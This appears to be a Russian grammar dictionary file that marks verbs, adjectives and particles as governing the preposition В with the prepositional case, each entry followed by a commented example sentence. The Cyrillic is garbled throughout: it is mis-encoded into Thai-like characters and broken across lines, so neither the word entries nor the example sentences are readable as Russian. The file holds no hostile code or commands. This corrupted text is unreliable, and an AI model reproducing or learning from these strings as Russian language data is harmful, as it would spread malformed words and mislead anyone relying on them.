rus_verbs:ะะะกะขะะะะขะฌ{}, // ัะฐะฝะตะฝัะน ะทะฐััะพะฝะฐะป ะฒะพ ัะฝะต (ะะะกะขะะะะขะฌ ะ ะฟัะตะดะป)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะะะะะะะขะซะ{}, // ะฒะพ ะฒัะตะผ ะฒะธะฝะพะฒะฐัะพ ะฒะธะฝะพ (ะะะะะะะขะซะ ะ)
rus_verbs:ะะกะขะะะะฏะขะฌ{}, // ะกะจะ ะพััะฐะฒะปััั ะฒ ัะฐะนะพะฝะต ะะตััะธะดัะบะพะณะพ ะทะฐะปะธะฒะฐ ัะพะปัะบะพ ะพะดะธะฝ ะฐะฒะธะฐะฝะพัะตั (ะะกะขะะะะฏะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะะขะะะะซะะะขะฌะกะฏ{}, // ะ ะ ะพััะธะธ ะพัะบะฐะทัะฒะฐัััั ะพั ะฟะปะฐะฝะพะฒ ะฐะฒะธะฐะณััะฟะฟั ะฒ ะัะบัะธะบะต (ะะขะะะะซะะะขะฌะกะฏ ะ ะฟัะตะดะป)
rus_verbs:ะะะะะะะะ ะะะะขะฌ{}, // ะ ะะฐะฑะฐัะดะธะฝะพ-ะะฐะปะบะฐัะธะธ ะปะธะบะฒะธะดะธัะพะฒะฐะฝ ะฟะพะดะฟะพะปัะฝัะน ะทะฐะฒะพะด ะฟะพ ะฟะตัะตัะฐะฑะพัะบะต ะฝะตััะธ (ะะะะะะะะ ะะะะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะ ะะะะะะะงะะขะฌ{}, // ะ ะกะจะ ัะฐะทะพะฑะปะฐัะธะปะธ ะบััะฟะฝะตะนััั ะผะฐั
ะธะฝะฐัะธั ั ะบัะตะดะธัะบะฐะผะธ (ะ ะะะะะะะงะะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะกะฅะะะขะะขะฌ{}, // ะธั
ัั
ะฒะฐัะธะปะธ ะฒะพ ัะฝะต (ะกะฅะะะขะะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะะะงะะขะฌ{}, // ะ ะะตะปะณะพัะพะดะต ะฝะฐัะฐะปะธ ัะฑะพั ะฟะพะดะฟะธัะตะน ะทะฐ ะพัััะฐะฒะบั ะผััะฐ (ะะะงะะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะ ะะกะขะ{}, // Cะฐะผะฐั ะผะฐะปะตะฝัะบะฐั ะผัั
ะฐ ัะฐัััั ะฒ ะณะพะปะพะฒะต ะผััะฐะฒัั (ะ ะะกะขะ ะ ะฟัะตะดะป)
rus_verbs:ะฟะพั
ะธัะธัั{}, // ะะฒะพะต ัะพััะธัะฝ, ะฟะพั
ะธัะตะฝะฝัั
ัะตััะพัะธััะฐะผะธ ะฒ ะกะธัะธะธ, ะพัะฒะพะฑะพะถะดะตะฝั (ะฟะพั
ะธัะธัั ะฒ ะฟัะตะดะป)
rus_verbs:ะฃะงะะกะขะะะะะขะฌ{}, // ะฑัะปะธ ะทะฐัััะตะปะตะฝั ะดะฒะฐ ะธัะฟะฐะฝัะบะธั
ะณัะฐะถะดะฐะฝัะบะธั
ะณะฒะฐัะดะตะนัะฐ , ััะฐััะฒะพะฒะฐะฒัะธั
ะฒ ัะปะตะถะบะต (ะฃะงะะกะขะะะะะขะฌ ะ)
rus_verbs:ะฃะกะซะะะะะขะฌ{}, // ะะผะตัะธะบะฐะฝัั ะทะฐะฑะธัะฐัั ัััะฝะพะฒะปะตะฝะฝัั
ะฒ ะ ะพััะธะธ ะดะตัะตะน (ะฃะกะซะะะะะขะฌ ะ)
rus_verbs:ะะ ะะะะะะกะขะ{}, // ะฒั ะฝะต ัะฒะธะดะธัะต ะผััะพ ะธะปะธ ะผะพะปะพะบะพ , ะฟัะพะธะทะฒะตะดะตะฝะฝะพะต ะฒ ัะฐะนะพะฝะต (ะะ ะะะะะะกะขะ ะ ะฟัะตะดะป)
rus_verbs:ะะ ะะะะขะะ ะะะะขะฌะกะฏ{}, // ะฟัะธะทะฒะฐะฝ ะฟะพะผะพัั ะณะพััะปัะถะฐัะตะผั ะฟัะฐะฒะธะปัะฝะพ ะพัะธะตะฝัะธัะพะฒะฐัััั ะฒ ัะปะพะถะฝัั
ะฝัะฐะฒััะฒะตะฝะฝัั
ะบะพะปะปะธะทะธัั
(ะะ ะะะะขะะ ะะะะขะฌะกะฏ ะ)
rus_verbs:ะะะะ ะะะะขะฌ{}, // ะ ะทะฐะปะต ะธะณัะพะฒัั
ะฐะฒัะพะผะฐัะพะฒ ะฟะพะฒัะตะถะดะตะฝั ััะตะฝั ะธ ะฟะพัะพะปะพะบ (ะะะะ ะะะะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะะะชะฏะขะฌ{}, // ะ ะฝะฐััะพััะตะต ะฒัะตะผั ะฒ ะดะตััะบะพะผ ัััะตะถะดะตะฝะธะธ ะธะทัััั ัััะพัะฝัะต ะฟัะพะฑั ะฟะธัะธ (ะะะชะฏะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะกะะะะ ะะะขะฌะกะฏ{}, // ะพััะถะดะตะฝะฝัั
, ัะพะดะตัะถะฐัะธั
ัั ะฒ ะฟะพะผะตัะตะฝะธัั
ัััะฐัะฝะพะณะพ ะธะทะพะปััะพัะฐ (ะกะะะะ ะะะขะฌะกะฏ ะ)
rus_verbs:ะะขะงะะกะะะขะฌ{}, // ะฑัะป ะพััะธัะปะตะฝ ะทะฐ ะฝะตััะฟะตะฒะฐะตะผะพััั ะฒ 2007 ะณะพะดั (ะะขะงะะกะะะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะฟัะพั
ะพะดะธัั{}, // ะฝะฐั
ะพะดะธะปัั ะฝะฐ ัะฐะฝะบัะธะพะฝะธัะพะฒะฐะฝะฝะพะผ ะผะธัะธะฝะณะต , ะฟัะพั
ะพะดะธะฒัะตะผ ะฒ ัะฐะผะบะฐั
ะฟัะฐะทะดะฝะพะฒะฐะฝะธั ะะฝั ะฝะฐัะพะดะฝะพะณะพ ะตะดะธะฝััะฒะฐ (ะฟัะพั
ะพะดะธัั ะฒ ะฟัะตะดะป)
rus_verbs:ะะะะฃะะซะะะขะฌ{}, // ัะตะนัะฐั ะฒ ะฟัะฐะฒะธัะตะปัััะฒะต ะัะธะฐะผัััั ะฟะพะดัะผัะฒะฐัั ะพ ัะพะทะดะฐะฝะธะธ ัะฟะตัะธะฐะปัะฝะพะณะพ ะฟัะฝะบัะฐ ะฟะพะผะพัะธ ัััะธััะฐะผ (ะะะะฃะะซะะะขะฌ ะ)
rus_verbs:ะะขะ ะะะะ ะขะะะซะะะขะฌ{}, // ะณะปะฐะฒั ััะฑัะตะบัะพะฒ ะฝะต ะฟัะพััะพ ะพััะฐะฟะพััะพะฒัะฒะฐะปะธ ะฒ ะะพัะบะฒะต (ะะขะ ะะะะ ะขะะะซะะะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะะะกะขะะกะฌ{}, // ะฒ ะณะพัะพะดะต ะฒะตะดัััั ัะฐะฑะพัั ะฟะพ ัััะฐะฝะพะฒะบะต ะฟัะฐะทะดะฝะธัะฝะพะน ะธะปะปัะผะธะฝะฐัะธะธ (ะะะกะขะะกะฌ ะ)
rus_verbs:ะะะะะ ะะขะฌ{}, // ะะดะพะฑัะตะฝะฝัะผ ะฒ ะฟะตัะฒะพะผ ััะตะฝะธะธ ะทะฐะบะพะฝะพะฟัะพะตะบัะพะผ (ะะะะะ ะะขะฌ ะ)
rus_verbs:ะะะะซะะะขะฌะกะฏ{}, // ะตะผั ะปะตะณัะต ะธัะฟัะฐะฒะปััั , ัะพ , ััะพ ะทะฐะผัะปะธะปะพัั ะฒ ะณะปะฐะทะฐั
ะฟัะตะดัะดััะตะณะพ ััะบะพะฒะพะดััะฒะฐ (ะะะะซะะะขะฌะกะฏ ะ)
rus_verbs:ะะะขะะ ะะะะะะขะฌะกะฏ{}, // ะฟะพัะพะผ ะธะผะตัั ะฟัะฐะฒะพ ะฐะฒัะพัะธะทะพะฒะฐัััั ะฒ ัะธััะตะผะต ะะตะถะดัะฝะฐัะพะดะฝะพะณะพ ะฑะฐะบะฐะปะฐะฒัะธะฐัะฐ (ะะะขะะ ะะะะะะขะฌะกะฏ ะ)
rus_verbs:ะะะฃะกะขะะขะฌะกะฏ{}, // ะ ะพััะธั ะพะฟัััะธะปะฐัั ะฒ ัะฟะธัะบะต ะฝะฐ ัะตััั ะฟะพะทะธัะธะน (ะะะฃะกะขะะขะฌะกะฏ ะ ะฟัะตะดะป)
rus_verbs:ะกะะะ ะะขะฌ{}, // ะกะพะฒะปะฐะดะตะปะตั ัะณะพัะตะฒัะตะณะพ ะฒ ะัะฐะทะธะปะธะธ ะฝะพัะฝะพะณะพ ะบะปัะฑะฐ ัะดะฐะปัั ะฟะพะปะธัะธะธ (ะกะะะ ะะขะฌ ะ)
ัะฐััะธัะฐ:ะฝะตั{}, // ะ ััะพะผ ะฝะตั ัะพะผะฝะตะฝะธั.
ัะฐััะธัะฐ:ะฝะตัั{}, // ะ ััะพะผ ะฝะตัั ัะพะผะฝะตะฝะธั.
rus_verbs:ะฟะพะดะถะตัั{}, // ะะพะดะถะตะณัะธะน ัะตะฑั ะฒ ะะพัะบะฒะต ะผัะถัะธะฝะฐ ะพะบะฐะทะฐะปัั ะฒะตัะตัะฐะฝะพะผ-ะฐัะณะฐะฝัะตะผ
rus_verbs:ะฒะฒะตััะธ{}, // ะ ะะพะปะดะฐะฒะธะธ ะฒะฒะตะดะตะฝ ะทะฐะฟัะตั ะฝะฐ ะฐะผะฝะธััะธั ะธะปะธ ะฟะพะผะธะปะพะฒะฐะฝะธะต ะฟะตะดะพัะธะปะพะฒ.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะะะกะขะฃะะะซะ{}, // ะะฐะธะฑะพะปะตะต ะธะฝัะตัะตัะฝัะต ัะฐะฑะปะธัะบะธ ะดะพัััะฟะฝั ะฒ ะพัะฝะพะฒะฝะพะน ัะบัะฟะพะทะธัะธะธ ะผัะทะตั (ะะะกะขะฃะะะซะ ะ)
rus_verbs:ะะะะะกะะฃะขะฌ{}, // ะฒะพะฟัะพั ะฟะพะฒะธั ะฒ ะผะณะปะธััะพะผ ะดะตะผะพะบัะฐัะธัะตัะบะพะผ ะฒะพะทะดัั
ะต (ะะะะะกะะฃะขะฌ ะ)
rus_verbs:ะะะะ ะะะขะฌ{}, // ะ ะัะฐะบะต ัะผะตััะฝะธะบ ะฒะทะพัะฒะฐะป ะฒ ะผะตัะตัะธ ะณััะฟะฟั ัััะบะผะตะฝะพะฒ (ะะะะ ะะะขะฌ ะ)
rus_verbs:ะะขะะฏะขะฌ{}, // ะ ะคะธะฝะปัะฝะดะธะธ ั ัะพััะธัะฝะบะธ, ะฟัะธะฑัะฒัะตะน ะฟะพ ัััะธััะธัะตัะบะพะน ะฒะธะทะต, ะพัะฝัะปะธ ะดะตัะตะน (ะะขะะฏะขะฌ ะ)
rus_verbs:ะะะะขะ{}, // ะฏ ะฝะตะดะฐะฒะฝะพ ะฟะพัะตัะธะป ะฒัะฐัะฐ ะธ ั ะผะตะฝั ะฒ ะณะปะฐะทะฐั
ะฝะฐัะปะธ ะบะฐะบัั-ัะพ ัะธะณะฝั (ะะะะขะ ะ ะฟัะตะดะป)
rus_verbs:ะะะกะขะ ะะะะขะฌะกะฏ{}, // ะะตะฒััะบะฐ, ะทะฐัััะตะปะธะฒัะฐััั ะฒ ัะตะฝััะต ะะธะตะฒะฐ, ะฑัะปะฐ ะทะฐะผะตัะฐะฝะฐ ะฒ ัะบะฐะฝะดะฐะปะต ั ะฒะปะธััะตะปัะฝัะผะธ ะปัะดัะผะธ (ะะะกะขะ ะะะะขะฌะกะฏ ะ)
rus_verbs:ััะฐััะพะฒะฐัั{}, // ะ ะกััะฐัะฑััะณะต ัะตะณะพะดะฝั ััะฐัััะตั ะทะธะผะฝัั ัะตััะธั ะะฐัะปะฐะผะตะฝััะบะพะน ะฐััะฐะผะฑะปะตะธ ะกะพะฒะตัะฐ ะะฒัะพะฟั (ััะฐััะพะฒะฐัั ะฒ)
rus_verbs:ะะะะะะะซะะะขะฌะกะฏ{}, // ะัะฝะพัะตะฝะธะต ะบ ะดะตะฝัะณะฐะผ ะทะฐะบะปะฐะดัะฒะฐะตััั ะฒ ะดะตัััะฒะต (ะะะะะะะซะะะขะฌะกะฏ ะ)
rus_verbs:ะะะะะะะขะฌะกะฏ{}, // ะะตะฟััะฐัะฐะผ ะฟะพะผะตัะฐัั ะฝะฐะฟะธะฒะฐัััั ะฒ ะทะดะฐะฝะธะธ ะะพัะดัะผั (ะะะะะะะขะฌะกะฏ ะ)
rus_verbs:ะะซะะ ะะะะขะฌะกะฏ{}, // ะัะตะถะดะต ะฒัะตะณะพ ะฑัะปะพ ะทะฐัะฒะปะตะฝะพ, ััะพ ะผะธัะพะฒะฐั ัะบะพะฝะพะผะธะบะฐ ะบะฐะบะธะผ-ัะพ ะพะฑัะฐะทะพะผ ัะฐะผะฐ ะฒัะฟัะฐะฒะธััั ะฒ ะฟัะพัะตััะต ะฑะธะทะฝะตั-ัะธะบะปะฐ (ะะซะะ ะะะะขะฌะกะฏ ะ)
rus_verbs:ะฏะะะฏะขะฌะกะฏ{}, // ะพะฝะฐ ัะฒะปัะปะฐัั ะบะพ ะผะฝะต ะฒะพ ะฒัะตั
ะผะพะธั
ัะฝะฐั
(ะฏะะะฏะขะฌะกะฏ ะ)
rus_verbs:ะกะขะะะะ ะะะะขะฌะกะฏ{}, // ัะตะนัะฐั ั ััะฐะถะธััััั ะฒ ะพะดะฝะพะน ะบะพะผะฟะฐะฝะธะธ (ะกะขะะะะ ะะะะขะฌะกะฏ ะ)
rus_verbs:ะะะกะขะ ะะะฏะขะฌ{}, // ะฃัะพะถะตะฝัั ะงะตัะฝะธ, ะพะฑัััะตะปัะฒัะธะต ะฟะพะปะธัะตะนัะบะธั
ะฒ ัะตะฝััะต ะะพัะบะฒั, ะฐัะตััะพะฒะฐะฝั (ะะะกะขะ ะะะฏะขะฌ ะ)
rus_verbs:ะ ะะกะะ ะะกะขะ ะะะะขะฌ{}, // ะะพัะบะธ โ ัะฐัะฟัะพัััะฐะฝัะฝะฝัะต ะฒ ัะฐััะธัะตะปัะฝะพะผ ะธ ะถะธะฒะพัะฝะพะผ ะผะธัะต ัะปะพะถะฝัะต ััะธัั ะฒัััะธั
ะถะธัะฝัั
ะบะธัะปะพั ะธ ะฒัััะธั
ะฒััะพะบะพะผะพะปะตะบัะปััะฝัั
ัะฟะธััะพะฒ (ะ ะะกะะ ะะกะขะ ะะะะขะฌ ะ)
rus_verbs:ะะ ะะะะกะขะ{}, // ะกัะฐะฒะฝะธัะตะปัะฝะฐั ััะณะฐัะฝะพััั ะฝะตะบะพัะพััั
ะฒะทััะฒัะฐััั
ะฒะตัะตััะฒ ะฟัะธะฒะตะดะตะฝะฐ ะฒ ัะปะตะดัััะตะน ัะฐะฑะปะธัะต (ะะ ะะะะกะขะ ะ)
rus_verbs:ะะะะะะะะ ะะขะฌ{}, // ะงะธะฝะพะฒะฝะธะบะพะฒ ะะธะฝะบัะปััััั ะทะฐะฟะพะดะพะทัะธะปะธ ะฒ ะฐัะตัะต ั ะทะฐะฟะพะฒะตะดะฝัะผะธ ะทะตะผะปัะผะธ (ะะะะะะะะ ะะขะฌ ะ)
rus_verbs:ะะะกะขะฃะะะขะฌ{}, // ะ ะัะตะฝะปะฐะฝะดะธะธ ััะฐะปะธ ะฝะฐัััะฟะฐัั ะปะตะดะฝะธะบะธ (ะะะกะขะฃะะะขะฌ ะ)
rus_verbs:ะะซะะะะฏะขะฌะกะฏ{}, // ะ ะธััะพัะธะธ ะะตะผะปะธ ะฒัะดะตะปััััั ัะปะตะดัััะธะต ะปะตะดะฝะธะบะพะฒัะต ััั (ะะซะะะะฏะขะฌะกะฏ ะ)
rus_verbs:ะะ ะะะกะขะะะะขะฌ{}, // ะะฐะฝะฝัะต ะฟัะตะดััะฐะฒะปะตะฝั ะฒ ั
ัะพะฝะพะปะพะณะธัะตัะบะพะผ ะฟะพััะดะบะต (ะะ ะะะกะขะะะะขะฌ ะ)
rus_verbs:ะะะ ะฃะจะะขะฌะกะฏ{}, // ะ ะกะตะฒะตัะฝะพะน ะัะตัะธะธ ะฝะฐ ะฒะพะธะฝัะบัั ัะฐััั ะพะฑัััะธะปะฐัั ัะฝะตะถะฝะฐั ะปะฐะฒะธะฝะฐ (ะะะ ะฃะจะะขะฌะกะฏ ะ, ะะ)
rus_verbs:ะะะะะะะขะฌ{}, // ะะพัะพะฒัะต ะบะพะผะฟะพัั ะฟะพะดะฐัั ะฒ ััะพะปะพะฒัั
ะธ ะบะฐัะต (ะะะะะะะขะฌ ะ)
rus_verbs:ะะะขะะะะขะฌ{}, // ะกะตะณะพะดะฝั ะบะพะผะฟะพั ะณะพัะพะฒัั ะฒ ะดะพะผะฐัะฝะธั
ััะปะพะฒะธัั
ะธะท ััั
ะพัััะบัะพะฒ ะธะปะธ ะทะฐะผะพัะพะถะตะฝะฝัั
ัััะบัะพะฒ ะธ ัะณะพะด (ะะะขะะะะขะฌ ะ)
rus_verbs:ะะะะะะะซะะะขะฌะกะฏ{}, // ะฒ ะฝะฐััะพััะตะต ะฒัะตะผั ะพะฝ ะฟะพะฒัะตะผะตััะฝะพ ะฒะพะทะดะตะปัะฒะฐะตััั ะฒ ะพะณะพัะพะดะฐั
(ะะะะะะะซะะะขะฌะกะฏ ะ)
rus_verbs:ะ ะะกะะะะะซะะะขะฌ{}, // ะกะพะทัะตะฒัะธะต ัะตะผะตะฝะฝัะต ัะบะทะตะผะฟะปััั ัะฐัะบะปะฐะดัะฒะฐัั ะฝะฐ ัะพะปะฝัะต ะธะปะธ ะฒ ัะตะฟะปะพะผ ะผะตััะต, ะณะดะต ะพะฝะธ ะดะตะปะฐัััั ะผัะณะบะธะผะธ (ะ ะะกะะะะะซะะะขะฌะกะฏ ะ, ะะ)
rus_verbs:ะ ะะกะะะะะซะะะขะฌะกะฏ{},
rus_verbs:ะกะะะะ ะะขะฌะกะฏ{}, // ะะฑัะบะฝะพะฒะตะฝะฝะพ ะพะณัััั ัะพะฑะธัะฐัััั ะฒ ะฟะพะปััะฟะตะปะพะผ ัะพััะพัะฝะธะธ (ะกะะะะ ะะขะฌะกะฏ ะ)
rus_verbs:ะะ ะะะ ะะะะขะฌ{}, // ะ ัะพัะณะพะฒะพะผ ัะตะฝััะต ะะถะตะฒัะบะฐ ะฟัะพะณัะตะผะตะป ะฒะทััะฒ (ะะ ะะะ ะะะะขะฌ ะ)
rus_verbs:ะกะะฏะขะฌ{}, // ััะพะฑั ัะฝััั ะธั
ะฒะพ ะฒัะตะน ะบัะฐัะพัะต. (ะกะะฏะขะฌ ะ)
rus_verbs:ะฏะะะขะฌะกะฏ{}, // ะพะฝะฐ ัะฒะธะปะฐัั ะบ ะฝะตะผั ะฒะพ ัะฝะต. (ะฏะะะขะฌะกะฏ ะ)
rus_verbs:ะะะ ะะขะฌ{}, // ะผั ะถะต ะฒะพ ะฒัะตะผ ะฒะตัะธะปะธ ะบะฐะฟะธัะฐะฝั. (ะะะ ะะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะฒัะดะตัะถะฐัั{}, // ะะณัะฐ ะฒัะดะตัะถะฐะฝะฐ ะฒ ะฝะฐััะฝะพ-ัะฐะฝัะฐััะธัะตัะบะพะผ ััะธะปะต. (ะะซะะะ ะะะะะซะ ะ)
rus_verbs:ะะ ะะะะะะะขะฌ{}, // ะผั ะฟััะฐะปะธัั ะฟัะตะพะดะพะปะตัั ะตะต ะฒะพ ะผะฝะพะณะธั
ะผะตััะฐั
. (ะะ ะะะะะะะขะฌ ะ)
ะธะฝัะธะฝะธัะธะฒ:ะะะะะกะะขะฌ{ aux stress="ะฝะฐะฟะธั^ะฐัั" }, // ะัะพะณัะฐะผะผะฐ, ะฝะฐะฟะธัะฐะฝะฝะฐั ะฒ ัะฟะตัะบะต, ะฒัะฟะพะปะฝะธะปะฐ ะฝะตะดะพะฟัััะธะผัั ะพะฟะตัะฐัะธั. (ะะะะะกะะขะฌ ะ)
ะณะปะฐะณะพะป:ะะะะะกะะขะฌ{ aux stress="ะฝะฐะฟะธั^ะฐัั" },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะะะะะกะะะะซะ{},
rus_verbs:ะะกะขะฌ{}, // ัั ะดะฐะถะต ะฒะพ ัะฝะต ะตะป. (ะะกะขะฌ/ะบััะฐัั ะ)
rus_verbs:ะฃะกะะกะขะฌะกะฏ{}, // ะะฝ ัะดะพะฑะฝะพ ััะตะปัั ะฒ ะบัะตัะปะต. (ะฃะกะะกะขะฌะกะฏ ะ)
rus_verbs:ะขะะ ะะะะะขะฌ{}, // ะะฝ ัะพัะณัะตั ะฒ ะฟะฐะปะฐัะบะต. (ะขะะ ะะะะะขะฌ ะ)
rus_verbs:ะกะะะะะกะขะะขะฌ{}, // ะะฝ ัะพะฒะผะตััะธะป ะฒ ัะตะฑะต ะฟะธัะฐัะตะปั ะธ ั
ัะดะพะถะฝะธะบะฐ. (ะกะะะะะกะขะะขะฌ ะ)
rus_verbs:ะะะะซะะะขะฌ{}, // ะพะฑ ััะพะผ ะฝะตะปัะทั ะทะฐะฑัะฒะฐัั ะดะฐะถะต ะฒะพ ัะฝะต. (ะะะะซะะะขะฌ ะ)
rus_verbs:ะฟะพะณะพะฒะพัะธัั{}, // ะะฐะฒะฐะนัะต ะฟะพะณะพะฒะพัะธะผ ะพะฑ ััะพะผ ะฒ ะฟัะธัััััะฒะธะธ ะฐะดะฒะพะบะฐัะฐ
rus_verbs:ัะฑัะฐัั{}, // ะ ะฒะฐะณะพะฝะฐั
ะผะตััะพ ะดะปั ะบะพะผัะพััะฐ ะฟะฐััะฐะถะธัะพะฒ ัะฑะตััั ัะธะดะตะฝัั (ะฃะะ ะะขะฌ ะ, ะะะฏ)
rus_verbs:ัะฟะฐััั{}, // ะ ะขะฐะธะปะฐะฝะดะต ะฝะฐ ะฐะฒัะพะฑัั ั ัะพััะธะนัะบะธะผะธ ัััะธััะฐะผะธ ัะฟะฐะป ะฑะฐัะตะฝะฝัะน ะบัะฐะฝ (ะฃะะะกะขะฌ ะ, ะะ)
rus_verbs:ัะฐัะบัััั{}, // ะ ะ ะพััะธะธ ัะฐัะบััะปะธ ะบััะฟะฝะตะนััั ะฒ ัััะฐะฝะต ัะตัั ัะฐะปััะธะฒะพะผะพะฝะตััะธะบะพะฒ (ะ ะะกะะ ะซะขะฌ ะ)
rus_verbs:ัะพะตะดะธะฝะธัั{}, // ัะพะตะดะธะฝะธัั ะฒ ัะตะฑะต (ะกะะะะะะะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะธะทะฑัะฐัั{}, // ะ ะฎะถะฝะพะน ะะพัะตะต ะธะทะฑัะฐะฝ ะฝะพะฒัะน ะฟัะตะทะธะดะตะฝั (ะะะะ ะะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะฟัะพะฒะพะดะธัััั{}, // ะะฑััะบะธ ะฟัะพะฒะพะดัััั ะฒ ะฒะพัะพะฝะตะถัะบะพะผ ะะพะผะต ะฟัะฐะฒ ัะตะปะพะฒะตะบะฐ (ะะ ะะะะะะขะฌะกะฏ ะ)
ะฑะตะทะปะธั_ะณะปะฐะณะพะป:ั
ะฒะฐัะฐะตั{}, // ะ ััะพะน ััะฐััะต ะฝะต ั
ะฒะฐัะฐะตั ัััะปะพะบ ะฝะฐ ะธััะพัะฝะธะบะธ ะธะฝัะพัะผะฐัะธะธ. (ะะะะะะง ั
ะฒะฐัะฐัั ะฒ)
rus_verbs:ะฝะฐะฝะพัะธัั{}, // ะ ะฑะปะธะถะฝะตะผ ะฑะพั ะฝะฐะฝะพัะธั ะผะพัะฝัะต ัะดะฐัั ัะฒะพะธะผ ะบะพััะปัะฒัะผ ะบัะปะฐะบะพะผ. (ะะะะะกะะขะฌ ะ + ะฟัะตะดะป.)
rus_verbs:ัะฐััะตะฟะปััััั{}, // ะกะฐั
ะฐัะพะทะฐ ะถะต ะฑััััะพ ัะฐััะตะฟะปัะตััั ะฒ ะฟะธัะตะฒะฐัะธัะตะปัะฝะพะผ ััะฐะบัะต ะฝะฐ ะณะปัะบะพะทั ะธ ัััะบัะพะทั (ะ ะะกะฉะะะะฏะขะฌะกะฏ ะ, ะะ)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะธะทะฒะตััะฝัะน{}, // ะ ะะฒัะพะฟะต ัะฐั
ะฐั ะฑัะป ะธะทะฒะตััะตะฝ ะตัั ัะธะผะปัะฝะฐะผ. (ะะะะะกะขะะซะ ะ)
rus_verbs:ะฒััะฐะฑะพัะฐัั{}, // ะกะฟะพัะพะฑั, ะฒััะฐะฑะพัะฐะฝะฝัะต ะฒะพ ะคัะฐะฝัะธะธ, ะฟะตัะตัะปะธ ะทะฐัะตะผ ะฒ ะะตัะผะฐะฝะธั ะธ ะดััะณะธะต ัััะฐะฝั ะะฒัะพะฟั. (ะะซะ ะะะะขะะขะฌ ะ)
rus_verbs:ะะฃะะฌะขะะะะ ะะะะขะฌะกะฏ{}, // ะัะปััะธะฒะธััะตััั ะฒ ัะตะณะธะพะฝะฐั
ั ัะผะตัะตะฝะฝัะผ ะบะปะธะผะฐัะพะผ ั ัะผะตัะตะฝะฝัะผ ะบะพะปะธัะตััะฒะพะผ ะพัะฐะดะบะพะฒ ะธ ััะตะฑัะตั ะฟะปะพะดะพัะพะดะฝะพะน ะฟะพัะฒั. (ะะฃะะฌะขะะะะ ะะะะขะฌะกะฏ ะ)
rus_verbs:ัะฐััั{}, // ะผะฐะผะฐ ะดััะธ ะฝะต ัะฐัะปะฐ ะฒ ัะฒะพะธั
ะดะตััั
(ะงะะฏะขะฌ ะ)
rus_verbs:ัะปัะฑะฐัััั{}, // ะะฐะดะธะผ ัะปัะฑะฐะปัั ะฒะพ ัะฝะต. (ะฃะะซะะะขะฌะกะฏ ะ)
rus_verbs:ัะฐััะตัััััั{}, // ะัะธะตะทะถะธะต ัะฐััะตััะปะธัั ะฒ ะฑะตัะพะฝะฝะพะผ ะปะฐะฑะธัะธะฝัะต ัะปะธั (ะ ะะกะขะะ ะฏะขะฌะกะฏ ะ)
rus_verbs:ะฒััั{}, // ะฒัะปะธ ะฒะพะปะบะธ ะณะดะต-ัะพ ะฒ ะปะตัั (ะะซะขะฌ ะ)
rus_verbs:ะะะะะ ะะขะฌ{}, // ะฒััััะฟะฐะฒัะธะน ะทะฐะฒะตัะธะป ะฝะฐั ะฒ ะฝะฐะผะตัะตะฝะธะธ ะฒัะฟะพะปะฝะธัั ะพะฑะตัะฐะฝะธะต (ะะะะะ ะะขะฌ ะ)
rus_verbs:ะะกะงะะะะฃะขะฌ{}, // ะทะฒะตัะธ ะธััะตะทะปะธ ะฒะพ ะผัะฐะบะต. (ะะกะงะะะะฃะขะฌ ะ)
rus_verbs:ะะกะขะะขะฌ{}, // ะฒััะฐัั ะฒะพ ะณะปะฐะฒะต ัะตะปะพะฒะตัะตััะฒะฐ. (ะะกะขะะขะฌ ะ)
rus_verbs:ะฃะะะขะ ะะะะฏะขะฌ{}, // ะ ะขะธะฑะตัะต ัะฟะพััะตะฑะปััั ะบะธัะฟะธัะฝัะน ะทะตะปัะฝัะน ัะฐะน. (ะฃะะะขะ ะะะะฏะขะฌ ะ)
rus_verbs:ะะะะะะะขะฌะกะฏ{}, // ะะฐะฟะธัะพะบ ะพั
ะปะฐะถะดะฐะตััั ะธ ะฟะพะดะฐัััั ะฒ ั
ะพะปะพะดะฝะพะผ ะฒะธะดะต. (ะะะะะะะขะฌะกะฏ ะ)
rus_verbs:ะะกะะะะฌะะะะะขะฌะกะฏ{}, // ะฒ ะธะณัะต ะธัะฟะพะปัะทััััั ัะตะบััััั ะฑะพะปััะตะณะพ ัะฐะทัะตัะตะฝะธั (ะะกะะะะฌะะะะะขะฌะกะฏ ะ)
rus_verbs:ะพะฑััะฒะธัั{}, // ะ ะณะฐะทะตัะต ะพะฑััะฒะธะปะธ ะพ ะบะพะฝะบัััะต.
rus_verbs:ะะกะะซะฅะะฃะขะฌ{}, // ะฒะพ ะผะฝะต ะฒัะฟัั
ะฝัะป ะณะฝะตะฒ. (ะะกะะซะฅะะฃะขะฌ ะ)
rus_verbs:ะะ ะซะขะฌะกะฏ{}, // ะ ะตะณะพ ัะปะพะฒะฐั
ะบัะพะตััั ัะณัะพะทะฐ. (ะะ ะซะขะฌะกะฏ ะ)
rus_verbs:ะฟะพะดะฝััััั{}, // ะ ะบะปะฐััะต ะฒะดััะณ ะฟะพะดะฝัะปัั ััะผ. (ะฟะพะดะฝััััั ะฒ)
rus_verbs:ะฝะฐัััะฟะธัั{}, // ะ ะบะปะฐััะต ะฝะฐัััะฟะธะปะฐ ะฟะพะปะฝะฐั ัะธัะธะฝะฐ. (ะฝะฐัััะฟะธัั ะฒ)
rus_verbs:ะบะธะฟะตัั{}, // ะ ะฝัะผ ะบะธะฟะธั ะทะปะพะฑะฐ. (ะบะธะฟะตัั ะฒ)
rus_verbs:ัะพะตะดะธะฝะธัััั{}, // ะ ะฝัะผ ัะพะตะดะธะฝะธะปะธัั ั
ัะฐะฑัะพััั ะธ ะฒะตะปะธะบะพะดััะธะต. (ัะพะตะดะธะฝะธัััั ะฒ)
